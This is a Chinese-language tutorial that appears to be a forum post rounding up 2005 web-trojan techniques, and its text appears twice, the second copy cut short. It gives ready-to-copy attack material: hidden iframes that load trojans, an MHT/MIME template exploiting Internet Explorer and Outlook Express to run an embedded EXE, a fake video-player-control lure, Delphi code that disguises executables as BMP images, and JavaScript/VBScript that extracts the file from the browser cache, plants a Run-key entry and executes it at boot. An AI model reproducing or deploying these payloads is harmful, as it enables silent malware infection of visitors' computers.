2005网页木马大盘点
<--插入广告JS代码-->
1.网页自动下载系统
这个大家都知道。就不多说了。需要的朋友到我的下载页面去下载
tdsyj.nease.net/down/ ;网页木马合并器
看一眼就会用了。
最后把生成的mht文件上传到你的空间
在你的主业中插入
<iframe src=mmys.mht width=1 height=1>
测试页面 tdsyj.nease.net/cqzz/mht.htm>
2.网页为盗鲨做马
听说的人很多了。总之就是asp的一个网页木马。需要asp的空间支持/将你的木马用动鲨两个asp文件。一个html文件。将他们上传到支持asp的空间。访问mm.html文件就中马了。适用于IE 5.0/IE 6.0 对于IE的最新补丁无效
下载地址http://www.sq88.com/down/SoftDown.asp?ID=4422
测试页面 tdsyj.nease.net/cqzz/asp.htm>
3. web自动下载(控件)
不属于IE漏洞。不会因为IE升级或修补漏洞就不可用了。可以突破下载禁止和IE 6.0 浏览器的限制。稍微辅以娱乐激情影片，浏览者要想看这个网页上播放的影片，就必须同意下载这个播放控件，否则，因没有安装播放控件而不能播放，并以醒目的大字提示。而一旦同意下载播放控件了，你的木马也就搭这个便车随之下载了，具有很强的诱惑欺骗性。
呵呵。正所谓"要想看片吗，那就接受我的木马吧；不让中木马吗，那就不能看片呀。
不属于软件。提供不了下载地址 有兴趣的朋友去藏鲸阁看看
测试页面http://tdsyj.nease.net/cqzz/flash.htm
4. 微软永远的小痛
呵呵。MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行.
介绍一下做法:
首先打开outlook发邮件的程序。然后点新邮件。出现一个对话框。然后我们点附加。在这里就可以选择你需要的木马程序了。选好后点文件菜单中的另存为。把此附件保存为eml格式的文件。
用写字板打开这个这个eml文件改为txt然后打开txt把以下代码
Subject:
Date: Wed, 22 Jan 2003 15:37:37 +0800
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0012_01C2C22C.34D02140"
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
This is a multi-part message in MIME format.
------=_NextPart_000_0012_01C2C22C.34D02140
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_0013_01C2C22C.34D02140"
------=_NextPart_001_0013_01C2C22C.34D02140
Content-Type: text/plain;
charset="gb2312"
Content-Transfer-Encoding: base64
DQo=
------=_NextPart_001_0013_01C2C22C.34D02140
Content-Type: text/html;
charset="gb2312"
Content-Transfer-Encoding: base64
PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWdi
MjMxMiIgaHR0cC1lcXVpdj1Db250ZW50LVR5cGU+DQo8TUVUQSBjb250ZW50PSJNU0hUTUwgNS4w
MC4yNjE0LjM1MDAiIG5hbWU9R0VORVJBVE9SPg0KPFNUWUxFPjwvU1RZTEU+DQo8L0hFQUQ+DQo8
Qk9EWSBiZ0NvbG9yPSNmZmZmZmY+DQo8RElWPiZuYnNwOzwvRElWPjwvQk9EWT48L0hUTUw+DQo=
------=_NextPart_001_0013_01C2C22C.34D02140--
------=_NextPart_000_0012_01C2C22C.34D02140
Content-Type: application/x-msdownload;
name="=?gb2312?B?xsa94i5FWEU=?="
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="=?gb2312?B?xsa94i5FWEU=?="
替换成
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====B===="
--====B====
Content-Type: multipart/alternative;
boundary="====A===="
--====A====
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable
<HTML>
<iframe src=3Dcid:Mud height=3D0 width=3D0>
</iframe></BODY></HTML>
--====A====--
--====B====
Content-Type: audio/x-wav;
name="cqzjz.exe"
Content-Transfer-Encoding: base64
Content-ID: <Mud>
然后把cqzjz.exe改为你保存的那个附件的名字。
然后去掉这个txt中最后一行的
------=_NextPart_000_0012_01C2C22C.34D02140--
然后在最后一行中空两排加入
--====B====
然后保存这个txt文件。
把这个txt格式的文件。改名为mht结尾的文件。此时我们的网页木马就完成了。
这时你双击这个文件。你的木马就运行了。你可以把这个文件放到你的网站上去供别人下载了。但是这样打开的文件，什么东西也没有。有些人要怀疑。为了安全。我们可以把这个木马网页放到别的网页中代码如下：
<HTML><HEAD><TITLE>5189</TITLE>
<META content="MSHTML 5.00.2614.3500" name=GENERATOR>
<META content=FrontPage.Editor.Document name=ProgId>
<META content="text/html; charset=gb2312"
http-equiv=Content-Type></HEAD><FRAMESET border=0 frameBorder=0 frameSpacing=0
rows=*,1><FRAME name=main src="http://转向地址（如http://20cl.com)"><FRAME name=footer noResize
scrolling=no src="mhtml:http://你的木马地址"
target="main"><NOFRAMES>
<body>
<p></p>
</body>
</NOFRAMES></FRAMESET></HTML>
这个*.mht的文件就是你的网页木马文件。哈哈。现在就完全成功了。
5 bmp网页木马
首先说明这不是什么新的东西,但最近有人说我们没有,那就随便写编文章放上来了,大家自己试验一下. 何谓BMP网页木马?它和过去早就用臭了的MIME头漏洞的木马不同,MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行.
然而BMP木马就不同,它把一个EXE文件伪装成一个BMP图片文件,欺骗IE自动下载,再利用网页中的javascript脚本查找客户端的Internet临时文件夹,找到下载后的BMP文件,把它拷贝到TEMP目录.再编写一个脚本把找到的BMP文件用DEBUG还原成EXE,并把它放到注册表启动项中,在下一次开机时执行.但是这种技术只能在9X下发挥作用,对于2K,XP来说是无能为力了.
看上去好象很复杂,下面我们一步一步来:
1) EXE变BMP的方法.
大家自己去查查BMP文件资料就会知道,BMP文件的文件头有54个字节,简单来说里面包含了BMP文件的长宽,位数,文件大小,数据区长度,我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦),这样就可以欺骗IE下载该BMP文件,开始我们用JPG文件做过试验,发现如果文件头不正确的话,IE是不会下载的,转换代码如下:
program exe2bmp;
uses
Windows,
SysUtils;
var len,row,col,fs: DWORD;
buffer: array[0..255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle;
begin
if (ParamStr(1)<>'') and(ParamStr(2)<>'') then begin //如果运行后没有两个参数则退出
if FileExists(ParamStr(1)) then begin
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs+12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col+4;
end else Break;
end;
FillChar(buffer,256,0);
{一下为BMP文件头数据}
Buffer[0]:='B';Buffer[1]:='M';
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len+54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;
{写入文件}
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.
以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp.exe文件.大家打开MSDOS方式,输入
exe2bmp myexe.exe mybmp.bmp
回车就可以把第二个参数所指定的EXE文件转换成BMP格式.
接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调.所以大家放在网页上最好用这样的格式
<img srd="mybmp.bmp" higth="0" width="0">
以下是放在网页上的脚本
document.write(' ');
function docsave()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a.createInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys+'\\s.vbs';
wsh.RegWrite
('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs','wscript '+'"'+vbs+'" ');
var st=fso.CreateTextFile(vbs,true);
st.WriteLine('Option Explicit');
st.WriteLine('Dim FSO,WSH,CACHE,str');
st.WriteLine('Set FSO = CreateObject("Scripting.FileSystemObject")');
st.WriteLine('Set WSH = CreateObject("WScript.Shell")');
st.WriteLine('CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")');
st.WriteLine('wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")');
st.WriteLine ('wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"');
st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"');
st.WriteLine('WScript.Quit()');
st.WriteLine('Function SearchBMPFile(Folder,fname)');
st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys');
st.WriteLine(' str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" & fname');
st.WriteLine(' if FSO.FileExists(str) then');
st.WriteLine(' tmp=fso.GetSpecialFolder(2) & "\\"');
st.WriteLine(' winsys=fso.GetSpecialFolder(1) & "\\"');
st.WriteLine(' set File=FSO.GetFile(str)');
st.WriteLine(' File.Copy(tmp & "tmp.dat")');
st.WriteLine(' File.Delete');
st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")');
st.WriteLine(' Lt.WriteLine("rbx")');
st.WriteLine(' Lt.WriteLine("0")');
st.WriteLine(' Lt.WriteLine("rcx")');
st.WriteLine(' Lt.WriteLine("1000")');
st.WriteLine(' Lt.WriteLine("w136")');
st.WriteLine(' Lt.WriteLine("q")');
st.WriteLine(' Lt.Close');
st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6');
st.WriteLine(' On Error Resume Next ');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete');
st.WriteLine(' end if');
st.WriteLine(' If Folder.SubFolders.Count <> 0 Then');
st.WriteLine(' For Each SubFolder In Folder.SubFolders');
st.WriteLine(' SearchBMPFile SubFolder,fname');
st.WriteLine(' Next');
st.WriteLine(' End If');
st.WriteLine('End Function');
st.Close();
}
setTimeout('docsave()',1000);
把该脚本保存为"js.js",在网页中插入:
<script src="js.js"></script>
该脚本主要会在本地机器的SYSTEM目录下生成一个"S.VBS"文件，该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。
"S.VBS"文件主要内容如下:
Option Explicit
Dim FSO,WSH,CACHE,str
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache")
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"
WScript.Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
'从临时文件夹中查找目标BMP图片
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & "\"
winsys=fso.GetSpecialFolder(1) & "\"
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
File.Delete
'生成一个DEBUG脚本
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
'下面一行的1000是十六进制，换回十进制是4096(该数字是你的EXE文件的大小)
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
On Error Resume Next
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")
FSO.GetFile(tmp & "tmp.dat").Delete
FSO.GetFile(tmp & "tmp.in").Delete
FSO.GetFile(tmp & "tmp.out").Delete
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function
这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到tmp.dat中.后面的脚本再把它复制到SYSTEM的目录下.这个被还原的EXE文件会在下次重起的时候运行.这就是BMP木马的基本实现过程.
详细脚本代码请参考http://hotsky.363.net ;
防范方法:
最简单,删除或改名wscrpit.exe文件和DEBUG 文件;
安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了.
在条件允许的情况下,安装WIN2K SP3,尽量避免去一些不名来历的网站
前语：这篇帖子里所写的东西如果大家能够学会，从此网上将又不得安宁！我所希望的仅仅是将来那些受害者不要骂我！
特点：1 针对任何没有打过补丁的IE版本都有效！
2 木马下载过程中防火墙不会做任何反应！
3 木马地址以jpg为后缀名。列如http://xxx.xxx.xxx.xxx/003.jpg ;和一般的图片地址无任何俩样！打开地址后在浏览器上会和正常情况下一样出现图片！但木马却已经在后台下载并在下载完成后自动执行！具有很强的迷惑性！
首先我要给大家说的是以下所讲的东西极其简单，只需要你稍微懂得一点HTML语言，你就能够做出各式各样的网页木马。。。不懂也没关系，，文章里会提供现成的代码让你复制！好了，，废话少说，入正题！
网页木马至今已出了很多代，品种格式各样，目前最新最实用的是针对各种IE版本都有效的网页木马，我们统称它们IE6.0木马，说到这里，我们就进行本文主题的第一部分，制作IE6.0木马，详细步骤及制作工具另附注意事项请参阅这篇贴子
www.huigezi.com/forum_view.a...=2&view_id=1624 ;
里面有详细的说解！
根据上面贴子里的教材如果你已经成功的制作出了IE6.0网页木马。那么我们继续下一步，修改网页木马的地址的后缀名！
一般来说，我们做出来的网页木马地址都是以 htm 或html 结尾！那么我们怎么修改呢？很简单！
不知道大家知道不知道。IE有一个很小的BUG。即只要网站文件里有html码它就会执行，并不理会文件后缀名是什么。
于是我们可以这么来修改网页木马的后缀名，其实说准确一点并不是修改点网页木马的地址后缀名，是利用一个图片地址来打开这个网页木马！
打开记事本写入如下一段代码：
<html>
<iframe src="IE6。0网页木马地址" width="0" height="0" frameborder="0"></iframe>
<center><img src="图片地址"></center>
</html>
然后将其另存为XXX.jpg 。
剩下的工作就是将这个XXX.jpg图片格式的文件上传的你的空间，给出相对路径让别人访问了！
别人在访问这个XXX.jpg文件时。。浏览器会将文件内的html码执行，根据代码的内容。你的网页木马地址会作为隐藏窗口被打开。。另外那个图片也会出现在对方所打开的网页上！
<--插入广告JS代码-->
1.网页自动下载系统
这个大家都知道。就不多说了。需要的朋友到我的下载页面去下载
tdsyj.nease.net/down/ ;网页木马合并器
看一眼就会用了。
最后把生成的mht文件上传到你的空间
在你的主业中插入
<iframe src=mmys.mht width=1 height=1>
测试页面 tdsyj.nease.net/cqzz/mht.htm
2.网页为盗鲨做马
听说的人很多了。总之就是asp的一个网页木马。需要asp的空间支持/将你的木马用动鲨两个asp文件。一个html文件。将他们上传到支持asp的空间。访问mm.html文件就中马了。适用于IE 5.0/IE 6.0 对于IE的最新补丁无效
下载地址http://www.sq88.com/down/SoftDown.asp?ID=4422
测试页面 tdsyj.nease.net/cqzz/asp.htm
3. web自动下载(控件)
不属于IE漏洞。不会因为IE升级或修补漏洞就不可用了。可以突破下载禁止和IE 6.0 浏览器的限制。稍微辅以娱乐激情影片，浏览者要想看这个网页上播放的影片，就必须同意下载这个播放控件，否则，因没有安装播放控件而不能播放，并以醒目的大字提示。而一旦同意下载播放控件了，你的木马也就搭这个便车随之下载了，具有很强的诱惑欺骗性。
呵呵。正所谓"要想看片吗，那就接受我的木马吧；不让中木马吗，那就不能看片呀。
不属于软件。提供不了下载地址 有兴趣的朋友去藏鲸阁看看
测试页面http://tdsyj.nease.net/cqzz/flash.htm
4. 微软永远的小痛
呵呵。MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行.
介绍一下做法:
首先打开outlook发邮件的程序。然后点新邮件。出现一个对话框。然后我们点附加。在这里就可以选择你需要的木马程序了。选好后点文件菜单中的另存为。把此附件保存为eml格式的文件。
用写字板打开这个这个eml文件改为txt然后打开txt把以下代码
Subject:
Date: Wed, 22 Jan 2003 15:37:37 +0800
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0012_01C2C22C.34D02140"
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
This is a multi-part message in MIME format.
------=_NextPart_000_0012_01C2C22C.34D02140
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_0013_01C2C22C.34D02140"
------=_NextPart_001_0013_01C2C22C.34D02140
Content-Type: text/plain;
charset="gb2312"
Content-Transfer-Encoding: base64
DQo=
------=_NextPart_001_0013_01C2C22C.34D02140
Content-Type: text/html;
charset="gb2312"
Content-Transfer-Encoding: base64
PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWdi
MjMxMiIgaHR0cC1lcXVpdj1Db250ZW50LVR5cGU+DQo8TUVUQSBjb250ZW50PSJNU0hUTUwgNS4w
MC4yNjE0LjM1MDAiIG5hbWU9R0VORVJBVE9SPg0KPFNUWUxFPjwvU1RZTEU+DQo8L0hFQUQ+DQo8
Qk9EWSBiZ0NvbG9yPSNmZmZmZmY+DQo8RElWPiZuYnNwOzwvRElWPjwvQk9EWT48L0hUTUw+DQo=
------=_NextPart_001_0013_01C2C22C.34D02140--
------=_NextPart_000_0012_01C2C22C.34D02140
Content-Type: application/x-msdownload;
name="=?gb2312?B?xsa94i5FWEU=?="
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="=?gb2312?B?xsa94i5FWEU=?="
替换成
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====B===="
--====B====
Content-Type: multipart/alternative;
boundary="====A===="
--====A====
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable
<HTML>
<iframe src=3Dcid:Mud height=3D0 width=3D0>
</iframe></BODY></HTML>
--====A====--
--====B====
Content-Type: audio/x-wav;
name="cqzjz.exe"
Content-Transfer-Encoding: base64
Content-ID: <Mud>
然后把cqzjz.exe改为你保存的那个附件的名字。
然后去掉这个txt中最后一行的
------=_NextPart_000_0012_01C2C22C.34D02140--
然后在最后一行中空两排加入
--====B====
然后保存这个txt文件。
把这个txt格式的文件。改名为mht结尾的文件。此时我们的网页木马就完成了。
这时你双击这个文件。你的木马就运行了。你可以把这个文件放到你的网站上去供别人下载了。但是这样打开的文件，什么东西也没有。有些人要怀疑。为了安全。我们可以把这个木马网页放到别的网页中代码如下：
<HTML><HEAD><TITLE>5189</TITLE>
<META content="MSHTML 5.00.2614.3500" name=GENERATOR>
<META content=FrontPage.Editor.Document name=ProgId>
<META content="text/html; charset=gb2312"
http-equiv=Content-Type></HEAD><FRAMESET border=0 frameBorder=0 frameSpacing=0
rows=*,1><FRAME name=main src="http://转向地址（如http://20cl.com)"><FRAME name=footer noResize
scrolling=no src="mhtml:http://你的木马地址"
target="main"><NOFRAMES>
<body>
<p></p>
</body>
</NOFRAMES></FRAMESET></HTML>
这个*.mht的文件就是你的网页木马文件。哈哈。现在就完全成功了。
5 bmp网页木马
首先说明这不是什么新的东西,但最近有人说我们没有,那就随便写编文章放上来了,大家自己试验一下. 何谓BMP网页木马?它和过去早就用臭了的MIME头漏洞的木马不同,MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行.
然而BMP木马就不同,它把一个EXE文件伪装成一个BMP图片文件,欺骗IE自动下载,再利用网页中的javascript脚本查找客户端的Internet临时文件夹,找到下载后的BMP文件,把它拷贝到TEMP目录.再编写一个脚本把找到的BMP文件用DEBUG还原成EXE,并把它放到注册表启动项中,在下一次开机时执行.但是这种技术只能在9X下发挥作用,对于2K,XP来说是无能为力了.
看上去好象很复杂,下面我们一步一步来:
1) EXE变BMP的方法.
大家自己去查查BMP文件资料就会知道,BMP文件的文件头有54个字节,简单来说里面包含了BMP文件的长宽,位数,文件大小,数据区长度,我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦),这样就可以欺骗IE下载该BMP文件,开始我们用JPG文件做过试验,发现如果文件头不正确的话,IE是不会下载的,转换代码如下:
program exe2bmp;
uses
Windows,
SysUtils;
var len,row,col,fs: DWORD;
buffer: array[0..255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle;
begin
if (ParamStr(1)<>'') and(ParamStr(2)<>'') then begin //如果运行后没有两个参数则退出
if FileExists(ParamStr(1)) then begin
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs+12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col+4;
end else Break;
end;
FillChar(buffer,256,0);
{一下为BMP文件头数据}
Buffer[0]:='B';Buffer[1]:='M';
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len+54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;
{写入文件}
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.
以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp.exe文件.大家打开MSDOS方式,输入
exe2bmp myexe.exe mybmp.bmp
回车就可以把第二个参数所指定的EXE文件转换成BMP格式.
接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调.所以大家放在网页上最好用这样的格式
<img srd="mybmp.bmp" higth="0" width="0">
以下是放在网页上的脚本
document.write(' ');
function docsave()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a.createInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys+'\\s.vbs';
wsh.RegWrite
('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs','wscript '+'"'+vbs+'" ');
var st=fso.CreateTextFile(vbs,true);
st.WriteLine('Option Explicit');
st.WriteLine('Dim FSO,WSH,CACHE,str');
st.WriteLine('Set FSO = CreateObject("Scripting.FileSystemObject")');
st.WriteLine('Set WSH = CreateObject("WScript.Shell")');
st.WriteLine('CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")');
st.WriteLine('wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")');
st.WriteLine ('wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"');
st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"');
st.WriteLine('WScript.Quit()');
st.WriteLine('Function SearchBMPFile(Folder,fname)');
st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys');
st.WriteLine(' str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" & fname');
st.WriteLine(' if FSO.FileExists(str) then');
st.WriteLine(' tmp=fso.GetSpecialFolder(2) & "\\"');
st.WriteLine(' winsys=fso.GetSpecialFolder(1) & "\\"');
st.WriteLine(' set File=FSO.GetFile(str)');
st.WriteLine(' File.Copy(tmp & "tmp.dat")');
st.WriteLine(' File.Delete');
st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")');
st.WriteLine(' Lt.WriteLine("rbx")');
st.WriteLine(' Lt.WriteLine("0")');
st.WriteLine(' Lt.WriteLine("rcx")');
st.WriteLine(' Lt.WriteLine("1000")');
st.WriteLine(' Lt.WriteLine("w136")');
st.WriteLine(' Lt.WriteLine("q")');
st.WriteLine(' Lt.Close');
st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6');
st.WriteLine(' On Error Resume Next ');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete');
st.WriteLine(' end if');
st.WriteLine(' If Folder.SubFolders.Count <> 0 Then');
st.WriteLine(' For Each SubFolder In Folder.SubFolders');
st.WriteLine(' SearchBMPFile SubFolder,fname');
st.WriteLine(' Next');
st.WriteLine(' End If');
st.WriteLine('End Function');
st.Close();
}
setTimeout('docsave()',1000);
把该脚本保存为"js.js",在网页中插入:
<script src="js.js"></script>
该脚本主要会在本地机器的SYSTEM目录下生成一个"S.VBS"文件，该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。
"S.VBS"文件主要内容如下:
Option Explicit
Dim FSO,WSH,CACHE,str
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache")
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"
WScript.Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
'从临时文件夹中查找目标BMP图片
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & "\"
winsys=fso.GetSpecialFolder(1) & "\"
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
File.Delete
'生成一个DEBUG脚本
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
'下面一行的1000是十六进制，换回十进制是4096(该数字是你的EXE文件的大小)
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
On Error Resume Next
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")
FSO.GetFile(tmp & "tmp.dat").Delete
FSO.GetFile(tmp & "tmp.in").Delete
FSO.GetFile(tmp & "tmp.out").Delete
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function
这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到tmp.dat中.后面的脚本再把它复制到SYSTEM的目录下.这个被还原的EXE文件会在下次重起的时候运行.这就是BMP木马的基本实现过程.
详细脚本代码请参考http://hotsky.363.net ;
防范方法:
最简单,删除或改名wscrpit.exe文件和DEBUG 文件;
安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了.
在条件允许的情况下,安装WIN2K SP3,尽量避免去一些不名来历的网站
前语：这篇帖子里所写的东西如果大家能够学会，从此网上将又不得安宁！我所希望的仅仅是将来那些受害者不要骂我！
特点：1 针对任何没有打过补丁的IE版本都有效！
2 木马下载过程中防火墙不会做任何反应！
3 木马地址以jpg为后缀名。列如http://xxx.xxx.xxx.xxx/003.jpg ;和一般的图片地址无任何俩样！打开地址后在浏览器上会和正常情况下一样出现图片！但木马却已经在后台下载并在下载完成后自动执行！具有很强的迷惑性！
首先我要给大家说的是以下所讲的东西极其简单，只需要你稍微懂得一点HTML语言，你就能够做出各式各样的网页木马。。。不懂也没关系，，文章里会提供现成的代码让你复制！好了，，废话少说，入正题！
